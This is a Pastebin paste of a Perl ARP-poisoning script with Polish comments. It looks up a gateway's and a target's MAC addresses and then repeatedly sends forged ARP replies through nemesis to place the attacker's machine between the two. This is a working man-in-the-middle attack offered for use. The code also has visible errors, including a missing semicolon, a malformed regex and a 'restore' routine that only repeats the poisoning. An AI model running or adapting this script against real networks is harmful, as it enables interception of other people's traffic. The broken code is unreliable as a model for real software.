Guest User

Untitled

a guest
May 20th, 2018
141
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 1.96 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. $device = "wlan0";
  4.  
  5. $SIG{INT} = \&cleanup; #ctr+c czyszczenie
  6. $flag = 1;
  7. $gw = shift;    #pierwszy arg.
  8. $targ = shift   #drugi arg.
  9.  
  10. if (($gw . "." . $targ !~ /^([0-9]{1,3}\.){7}[0-9]{1.3}$/))
  11.  
  12. { #sprawdzenie wejścia
  13. die("użycie arpredirect.pl <brama> <adres_docelowy> \n");
  14.  
  15. }
  16.  
  17. print "Wysyłanie pakietów ping do $gw i $targ w celu uzyskania adresów mac...\n";
  18.  
  19. system("ping -q -c 1 -w 1 $gw > /dev/null");
  20. system("ping -q -c 1 -w 1 $targ > /dev/null");
  21.  
  22. #pobieranie adresów mac
  23. print " Pobieranie adresów mac...\n";
  24. $gw_mac = qx[/sbin/arp -na $gw];
  25. $gw_mac = substr($gw_mac, index($gw_mac, ":")-2,17);
  26. $targ_mac = qx[/sbin/arp -na $targ];
  27. $targ_mac = substr($targ_mac, index($targ_mac, ":")-2,17);
  28.  
  29. if ($gw_mac !~ /^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/)
  30. {
  31. die("nie odnaleziono adresu mac komputera $gw \n");
  32. }
  33. if ($targ_mac !~ /^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/)
  34. {
  35. die("nie odnaleziono adresu mac komputera $targ");
  36. }
  37.  
  38. #własny adres ip i mac
  39.  
  40. print "Pobieranie informacji o własnych adresach mac i ip za pomocą ifconfig ...\n";
  41. @ifconf = split(" ", qx[/sbin/ifconfig $device]);
  42. $me = substr(@ifconf[6], 5);
  43. $me_mac = $ifconf[4];
  44.  
  45. print "[*] Brama: $gw ma adres $gw_mac\n";
  46. print "[*] Cel:   $targ ma adres $targ_mac\n";
  47. print "[*] Ty:    $me ma adres $me_mac\n";
  48.  
  49. while($flag){
  50.  
  51. #konfiguracja zatruwania  ctrl+c kończy
  52. print "Przekierowanie:  $gw -> $me_mac <- $targ";
  53. system("nemesis arp -r -d $device -S $gw -D $targ -h $me_mac -m $targ_mac -H
  54. $me_mac -M $targ_mac");
  55. system("nemesis arp -r -d $device -S $targ -D $gw -h $me_mac -m $gw_mac -H
  56. $me_mac -M $gw_mac");
  57.  
  58. sleep 10;
  59.  
  60. }
  61. sub cleanup
  62. {
  63. #koniec zatruwania
  64. $flag = 0;
  65. print "przechwycono ctrl+c , następuje wyjście .\nPrzywracanie normalnego stanu\n";
  66. system("nemesis arp -r -d $device -S $gw -D $targ -h $me_mac -m $targ_mac -H
  67. $me_mac -M $targ_mac");
  68. system("nemesis arp -r -d $device -S $targ -D $gw -h $me_mac -m $gw_mac -H
  69. $me_mac -M $gw_mac");
  70. }
Add Comment
Please, Sign In to add comment